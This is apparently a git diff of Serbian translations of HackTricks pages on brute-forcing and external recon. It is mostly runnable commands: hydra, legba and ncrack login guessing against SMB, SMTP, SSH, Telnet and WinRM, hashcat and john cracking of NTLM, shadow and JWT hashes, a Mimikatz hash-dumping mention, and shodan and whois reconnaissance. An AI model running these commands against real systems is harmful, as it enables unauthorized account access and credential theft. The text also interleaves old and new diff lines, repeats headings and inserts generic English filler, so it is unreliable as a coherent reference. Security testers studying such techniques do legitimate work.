hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
|
||||
```
|
||||
### SMTP
|
||||
|
||||
SMTP (Simple Mail Transfer Protocol) je standardni protokol za slanje elektronske pošte preko interneta. Kada se koristi u kontekstu hakovanja, brute force napadi se mogu koristiti za pokušaj pristupa SMTP serveru kroz isprobavanje različitih kombinacija korisničkih imena i lozinki. Ovo može biti efikasan način za otkrivanje slabih lozinki ili nedovoljno zaštićenih SMTP servera.
|
||||
```bash
|
||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||
|
@ -409,8 +405,6 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
|
|||
# With alternative address
|
||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
|
||||
```
|
||||
### SQL Server
|
||||
|
||||
### SQL Server
|
||||
```bash
|
||||
#Use the NetBIOS name of the machine as domain
|
||||
|
@ -432,9 +426,9 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
|
|||
# Try keys from a folder
|
||||
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||
```
|
||||
#### Slabe SSH ključeve / Predvidljivi PRNG u Debianu
|
||||
#### Slabe SSH ključeve / Debian predvidljiv PRNG
|
||||
|
||||
Neke sisteme imaju poznate nedostatke u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. To može rezultirati dramatično smanjenim prostorom ključeva koji se mogu probiti alatima poput [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generisani setovi slabih ključeva takođe su dostupni, poput [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Neke sisteme karakterišu poznate slabosti u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. Ovo može rezultirati dramatično smanjenim prostorom ključeva koji se mogu probiti alatima poput [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generisani setovi slabih ključeva takođe su dostupni, poput [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)
|
||||
|
||||
|
@ -444,7 +438,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords.
|
|||
```
|
||||
### Telnet
|
||||
|
||||
Telnet je jednostavan protokol za udaljeni pristup koji se može koristiti za testiranje brute force napada.
|
||||
Telnet je jednostavan protokol za udaljeni pristup koji se može koristiti za testiranje brute force napada. Brute force napad na Telnet server može biti efikasan ako su lozinke slabe ili nisu pravilno konfigurisane.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -478,7 +472,7 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
|||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
|
@ -488,10 +482,10 @@ Pristupite danas:
|
|||
|
||||
## Lokalno
|
||||
|
||||
### Online baze za dešifrovanje
|
||||
### Online baze za probijanje
|
||||
|
||||
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
|
||||
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/bez ESS/SSP i sa bilo kojom vrednošću izazova)
|
||||
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/ili bez ESS/SSP i sa bilo kojom vrednošću izazova)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Heševi, WPA2 snimci i arhive MSOffice, ZIP, PDF...)
|
||||
* [https://crackstation.net/](https://crackstation.net) (Heševi)
|
||||
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||||
|
@ -502,7 +496,7 @@ Pristupite danas:
|
|||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
Proverite ovo pre nego što pokušate da izvršite **bruteforce** napad na heš.
|
||||
Proverite ovo pre nego što pokušate da probijete heš.
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
|
@ -548,7 +542,9 @@ apt-get install libcompress-raw-lzma-perl
|
|||
```
|
||||
### PDF
|
||||
|
||||
### PDF
|
||||
---
|
||||
|
||||
Brute-force napadi su jedna od najjednostavnijih metoda napada na autentikaciju. Ovi napadi se oslanjaju na pokušaje svih mogućih kombinacija lozinki dok se ne pronađe odgovarajuća. Postoje alati koji mogu automatizovati ovaj proces i ubrzati pronalaženje ispravne lozinke. Kako bi se zaštitili od ovakvih napada, preporučuje se korišćenje jakih i složenih lozinki, kao i implementacija dodatnih sigurnosnih mehanizama poput dvostruke autentikacije.
|
||||
```bash
|
||||
apt-get install pdfcrack
|
||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||
|
@ -557,7 +553,7 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
|||
sudo apt-get install qpdf
|
||||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||
```
|
||||
### Vlasnik lozinke PDF-a
|
||||
### Vlasnička lozinka PDF-a
|
||||
|
||||
Da biste probili vlasničku lozinku PDF-a, pogledajte ovde: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
|
||||
|
@ -573,7 +569,7 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
|
|||
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
||||
john jwt.john #It does not work with Kali-John
|
||||
```
|
||||
### NTLM krckanje
|
||||
### NTLM krakovanje
|
||||
```bash
|
||||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||
|
@ -655,7 +651,7 @@ zip -r file.xls .
|
|||
# From https://github.com/crackpkcs12/crackpkcs12
|
||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -681,7 +677,7 @@ hash-identifier
|
|||
|
||||
### **Alati za generisanje wordlisti**
|
||||
|
||||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Napredni generator šetnje tastaturom sa konfigurabilnim osnovnim karakterima, mapom tastera i rutama.
|
||||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Napredni generator šetnje tastaturom sa konfigurabilnim osnovnim karakterima, keymap-om i rutama.
|
||||
```bash
|
||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||
```
|
||||
|
@ -696,7 +692,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
|||
|
||||
#### Hashcat napadi
|
||||
|
||||
* **Napad rečnikom** (`-a 0`) sa pravilima
|
||||
* **Napad sa listom reči** (`-a 0`) sa pravilima
|
||||
|
||||
**Hashcat** već dolazi sa **folderom koji sadrži pravila** ali možete pronaći [**druga zanimljiva pravila ovde**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||
```
|
||||
|
@ -760,67 +756,72 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
|||
```bash
|
||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
```
|
||||
### Brute Forcing Linux Hashes - /etc/shadow file
|
||||
### Brute Forcing
|
||||
|
||||
Krekovanje Linux heševa - fajl /etc/shadow
|
||||
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute forcing can be a powerful method to recover passwords. There are various tools available that can automate the brute forcing process, such as John the Ripper and Hashcat. These tools use different algorithms and techniques to efficiently crack passwords. It is important to use strong wordlists and rules to increase the chances of success when brute forcing Linux hashes.
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||
```
|
||||
# Brute Force
|
||||
|
||||
## Brute Forcing Windows Hashes
|
||||
|
||||
Brute forcing Windows hashes involves using tools like **John the Ripper** or **Hashcat** to crack the password hashes obtained from Windows systems. These tools can perform dictionary attacks, where they try a list of commonly used passwords, or brute force attacks, where they try every possible combination of characters to crack the hash.
|
||||
### Introduction
|
||||
|
||||
### Steps to Brute Force Windows Hashes:
|
||||
When it comes to cracking Windows hashes, one of the most common methods is brute forcing. This technique involves trying all possible combinations of characters until the correct password is found. In this section, we will discuss how to perform brute force attacks on Windows hashes.
|
||||
|
||||
1. **Obtain Hashes**: Obtain the password hashes from the Windows system you want to crack.
|
||||
### Tools
|
||||
|
||||
2. **Choose a Tool**: Select a suitable tool like **John the Ripper** or **Hashcat** for cracking the hashes.
|
||||
There are several tools available for brute forcing Windows hashes, such as **John the Ripper** and **Hashcat**. These tools are capable of running through millions of password combinations in a relatively short amount of time.
|
||||
|
||||
3. **Select Attack Type**: Decide whether to use a dictionary attack or a brute force attack based on the complexity of the password.
|
||||
### Methodology
|
||||
|
||||
4. **Run the Tool**: Run the selected tool with the necessary parameters to start the brute force process.
|
||||
1. **Capture the Hash**: The first step is to obtain the Windows hash that you want to crack. This can be done by extracting the hash from the Windows SAM file or by using tools like **Mimikatz** to dump the hashes from memory.
|
||||
|
||||
5. **Wait for Results**: Depending on the complexity of the password and the computing power available, the tool will eventually crack the hash.
|
||||
2. **Choose a Tool**: Select a suitable tool for brute forcing the hash. **John the Ripper** is a popular choice for this purpose.
|
||||
|
||||
6. **Access the Password**: Once the tool successfully cracks the hash, you will have access to the plaintext password.
|
||||
3. **Create Wordlist**: Generate a wordlist that contains potential passwords to try during the brute force attack. This wordlist can be created using tools like **Crunch** or **Cewl**.
|
||||
|
||||
By following these steps, you can successfully brute force Windows hashes and gain access to the passwords stored on Windows systems.
|
||||
4. **Initiate Brute Force Attack**: Use the chosen tool to start the brute force attack against the Windows hash. The tool will systematically try all possible password combinations until the correct one is found.
|
||||
|
||||
5. **Crack the Hash**: Once the tool successfully cracks the hash, the plaintext password will be revealed. This password can then be used to gain unauthorized access to the Windows system.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Brute forcing Windows hashes can be a time-consuming process, especially if the password is complex. However, with the right tools and techniques, it is possible to crack even the most secure passwords. It is important to use this knowledge responsibly and only for ethical hacking purposes.
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
```
|
||||
## Brute-Force
|
||||
|
||||
### Introduction
|
||||
### Dictionary Attacks
|
||||
|
||||
Brute-force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-force attacks can be time-consuming but are effective against weak passwords.
|
||||
Dictionary attacks are a type of brute-force attack that uses a predefined list of words as potential passwords. These attacks are usually more efficient than traditional brute-force attacks because they do not need to try every possible combination of characters. Instead, they only try words that are likely to be used as passwords.
|
||||
|
||||
### Tools
|
||||
#### Tools
|
||||
|
||||
There are various tools available for conducting brute-force attacks, such as Hashcat, John the Ripper, and Hydra. These tools allow you to automate the process of trying different combinations quickly and efficiently.
|
||||
- **John the Ripper**: A popular password-cracking tool that can perform dictionary attacks among other types of attacks.
|
||||
- **Hashcat**: Another powerful password-cracking tool that supports dictionary attacks.
|
||||
|
||||
### Methodology
|
||||
### Brute-Force Attacks
|
||||
|
||||
1. **Select Target Hash**: Obtain the hash of the target application you want to crack.
|
||||
Brute-force attacks systematically try every possible combination of characters until the correct password is found. These attacks can be very time-consuming and resource-intensive, especially for longer and more complex passwords.
|
||||
|
||||
2. **Choose Brute-Force Tool**: Select a suitable brute-force tool based on the type of hash you are trying to crack.
|
||||
#### Tools
|
||||
|
||||
3. **Set Parameters**: Configure the tool with the necessary parameters, such as character set, minimum and maximum password length, etc.
|
||||
- **Hydra**: A fast and flexible password-cracking tool that supports various protocols and services.
|
||||
- **Medusa**: Similar to Hydra, Medusa is a speedy, parallel password-cracking tool.
|
||||
|
||||
4. **Initiate Attack**: Start the brute-force attack and let the tool try different combinations until the correct one is found.
|
||||
### Rainbow Tables
|
||||
|
||||
5. **Crack the Hash**: Once the correct password is identified, you have successfully cracked the hash.
|
||||
Rainbow tables are precomputed tables used in password-cracking to accelerate the cracking process by reversing cryptographic hash functions. Instead of computing the hash of each possible password, rainbow tables store precomputed hashes of commonly used passwords.
|
||||
|
||||
### Tips
|
||||
#### Tools
|
||||
|
||||
- Use a good wordlist: Having a quality wordlist can significantly increase the chances of cracking the hash.
|
||||
- Understand the hash type: Different hash algorithms require different approaches, so it's essential to know the type of hash you are dealing with.
|
||||
- Be patient: Brute-force attacks can take time, especially for complex passwords. Patience is key to successfully cracking hashes.
|
||||
- **RainbowCrack**: A tool that can generate and use rainbow tables to crack password hashes.
|
||||
- **Ophcrack**: A Windows-based password cracker that uses rainbow tables to perform password-cracking attacks.
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
|
@ -834,7 +835,7 @@ There are various tools available for conducting brute-force attacks, such as Ha
|
|||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
@ -844,10 +845,10 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -10,13 +10,13 @@ Drugi načini podrške HackTricks-u:
|
|||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||
Ako vas zanima **hakerska karijera** i hakovanje onoga što se ne može hakovati - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,18 +24,18 @@ Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **za
|
|||
|
||||
> Rečeno vam je da sve što pripada nekoj kompaniji spada u opseg, i želite da saznate šta ta kompanija zapravo poseduje.
|
||||
|
||||
Cilj ove faze je da se dobiju sve **kompanije koje pripadaju glavnoj kompaniji** i zatim svi **resursi** ovih kompanija. Da bismo to postigli, koristićemo sledeće korake:
|
||||
Cilj ove faze je da se dobiju sve **kompanije koje pripadaju glavnoj kompaniji** i zatim svi **resursi** ovih kompanija. Da bismo to postigli, uradićemo sledeće:
|
||||
|
||||
1. Pronaći akvizicije glavne kompanije, što će nam dati kompanije u opsegu.
|
||||
2. Pronaći ASN (ako postoji) svake kompanije, što će nam dati IP opsege koje poseduje svaka kompanija.
|
||||
3. Koristiti pretrage obrnutog whois-a da bismo pronašli druge unose (nazive organizacija, domene...) povezane sa prvom (ovo se može raditi rekurzivno).
|
||||
4. Koristiti druge tehnike poput shodan `org` i `ssl` filtera da bismo pronašli druge resurse (trič za `ssl` se može raditi rekurzivno).
|
||||
3. Koristiti pretrage obrnutog whois-a da bismo tražili druge unose (nazive organizacija, domene...) povezane sa prvom (ovo se može raditi rekurzivno).
|
||||
4. Koristiti druge tehnike poput shodan `org` i `ssl` filtera da bismo tražili druge resurse (trič za `ssl` se može raditi rekurzivno).
|
||||
|
||||
### **Akvizicije**
|
||||
|
||||
Prvo što treba da znamo je koje **druge kompanije pripadaju glavnoj kompaniji**.\
|
||||
Jedna opcija je posetiti [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražiti** glavnu kompaniju, i **kliknuti** na "**akvizicije**". Tamo ćete videti druge kompanije koje je glavna kompanija akvizirala.\
|
||||
Druga opcija je posetiti **Wikipedia** stranicu glavne kompanije i pretražiti **akvizicije**.
|
||||
Prvo, treba da znamo koje **druge kompanije pripadaju glavnoj kompaniji**.\
|
||||
Jedna opcija je posetiti [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražiti** glavnu kompaniju, i **kliknuti** na "**akvizicije**". Tamo ćete videti druge kompanije koje je stekla glavna kompanija.\
|
||||
Druga opcija je posetiti **Vikipedijinu** stranicu glavne kompanije i tražiti **akvizicije**.
|
||||
|
||||
> Ok, u ovom trenutku trebalo bi da znate sve kompanije u opsegu. Hajde da saznamo kako da pronađemo njihove resurse.
|
||||
|
||||
|
@ -44,8 +44,8 @@ Druga opcija je posetiti **Wikipedia** stranicu glavne kompanije i pretražiti *
|
|||
Autonomni sistemski broj (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\
|
||||
AS se sastoji od **blokova** IP adresa koji imaju jasno definisanu politiku za pristupanje spoljnim mrežama i upravlja ih jedna organizacija, ali može biti sastavljen od više operatera.
|
||||
|
||||
Interesantno je saznati da li **kompanija ima dodeljen ASN** kako bismo pronašli njene **IP opsege**. Bilo bi korisno izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i tražiti **domene** unutar ovih IP-ova.\
|
||||
Možete **pretraživati** po imenu kompanije, po **IP** adresi ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
Interesantno je saznati da li **kompanija ima dodeljen bilo koji ASN** kako bismo pronašli njene **IP opsege**. Bilo bi korisno izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i tražiti **domene** unutar ovih IP-ova.\
|
||||
Možete **pretraživati** po imenu kompanije, po **IP**-u ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Zavisno od regiona kompanije, ovi linkovi mogu biti korisni za prikupljanje više podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno su svi** korisni podaci **(IP opsezi i Whois)** već dostupni na prvom linku.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
|
@ -75,7 +75,7 @@ Možete pronaći IP i ASN domena koristeći [http://ipv4info.com/](http://ipv4in
|
|||
### **Traženje ranjivosti**
|
||||
|
||||
U ovom trenutku znamo **sve resurse unutar opsega**, pa ako vam je dozvoljeno, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\
|
||||
Takođe, možete pokrenuti neke [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti servise kao što je** shodan **da biste pronašli** otvorene portove **i, u zavisnosti od onoga što pronađete, trebalo bi da** pogledate u ovoj knjizi kako da pentestirate nekoliko mogućih servisa koji se izvršavaju.\
|
||||
Takođe, možete pokrenuti neke [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da biste pronašli** otvorene portove **i, u zavisnosti od onoga što pronađete, trebalo bi da** pogledate u ovoj knjizi kako da pentestirate nekoliko mogućih servisa koji se izvršavaju.\
|
||||
**Takođe, vredi pomenuti da možete pripremiti neke** liste podrazumevanih korisničkih imena **i** lozinki **i pokušati da** probijete servise sa [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domeni
|
||||
|
@ -95,12 +95,9 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
|||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
Da bi ovo radilo, administrator mora ručno omogućiti PTR.\
|
||||
Takođe možete koristiti online alat za ove informacije: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
### **Obrnuti Whois (petlja)**
|
||||
|
||||
### **Reverse Whois (petlja)**
|
||||
|
||||
Unutar **whois** informacija možete pronaći mnogo zanimljivih **podataka** poput **imenovanja organizacije**, **adrese**, **emailova**, brojeva telefona... Ali ono što je još interesantnije je da možete pronaći **više resursa povezanih sa kompanijom** ako izvršite **pretragu reverse whois-om po bilo kojem od tih polja** (na primer, drugi whois registri gde se isti email pojavljuje).\
|
||||
Unutar **whois** informacija možete pronaći mnogo zanimljivih **podataka** poput **imenovanja organizacije**, **adrese**, **emailova**, brojeva telefona... Ali ono što je još interesantnije je da možete pronaći **više resursa povezanih sa kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, druge whois registre gde se isti email pojavljuje).\
|
||||
Možete koristiti online alate poput:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno**
|
||||
|
@ -112,7 +109,7 @@ Možete koristiti online alate poput:
|
|||
* [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno
|
||||
|
||||
Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink)(zahteva whoxy API ključ).\
|
||||
Takođe možete izvršiti automatsko otkrivanje reverse whois-a sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
Takođe možete izvršiti automatsko otkrivanje obrnutog whois-a sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Imajte na umu da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
|
||||
|
||||
|
@ -140,7 +137,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
Jednostavno rečeno, favihash će nam omogućiti da otkrijemo domene koje imaju isti heš ikone favicon-a kao naš cilj.
|
||||
|
||||
Osim toga, takođe možete pretraživati tehnologije koristeći heš favicon-a kako je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **heš favicon-a ranjive verzije web tehnologije** možete pretražiti da li je u shodanu i **pronaći više ranjivih mesta**:
|
||||
Osim toga, možete takođe pretraživati tehnologije koristeći heš favicon-a kako je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **heš favicon-a ranjive verzije web tehnologije** možete pretražiti u shodanu i **pronaći više ranjivih mesta**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -157,27 +154,27 @@ fhash = mmh3.hash(favicon)
|
|||
print(f"{url} : {fhash}")
|
||||
return fhash
|
||||
```
|
||||
### **Autorsko pravo / Jedinstveni niz**
|
||||
### **Autorsko pravo / Jedinstveni string**
|
||||
|
||||
Pretražite unutar web stranica **nizove koji bi mogli biti deljeni preko različitih veb lokacija u istoj organizaciji**. **Niska autorskog prava** mogla bi biti dobar primer. Zatim pretražite tu nisku na **google-u**, u drugim **pregledačima** ili čak na **shodan-u**: `shodan search http.html:"Niska autorskog prava"`
|
||||
Pretražite unutar web stranica **stringove koji bi mogli biti deljeni između različitih veb sajtova u istoj organizaciji**. **String autorskog prava** može biti dobar primer. Zatim pretražite taj string na **google-u**, u drugim **pregledačima** ili čak na **shodan-u**: `shodan search http.html:"String autorskog prava"`
|
||||
|
||||
### **CRT vreme**
|
||||
|
||||
Uobičajeno je imati cron posao kao što je
|
||||
Često je uobičajeno imati cron posao kao što je
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
### **Spoljni rekon metodologija**
|
||||
|
||||
Da biste obnovili sve sertifikate domena na serveru. To znači da čak i ako CA koji se koristi za ovo ne postavlja vreme kada je generisan u Vremenu važenja, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima transparentnosti sertifikata**.\
|
||||
Da biste obnovili sve sertifikate domena na serveru. To znači da čak i ako CA koji se koristi za ovo ne postavlja vreme kada je generisan u Vremenu važnosti, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima transparentnosti sertifikata**.\
|
||||
Pogledajte ovaj [**članak za više informacija**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### **Pasivno preuzimanje**
|
||||
|
||||
Očigledno je da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaju provajderima oblaka i u nekom trenutku **izgube tu IP adresu ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanje virtuelne mašine** u oblaku (kao što je Digital Ocean) zapravo će značiti **preuzimanje nekih poddomena**.
|
||||
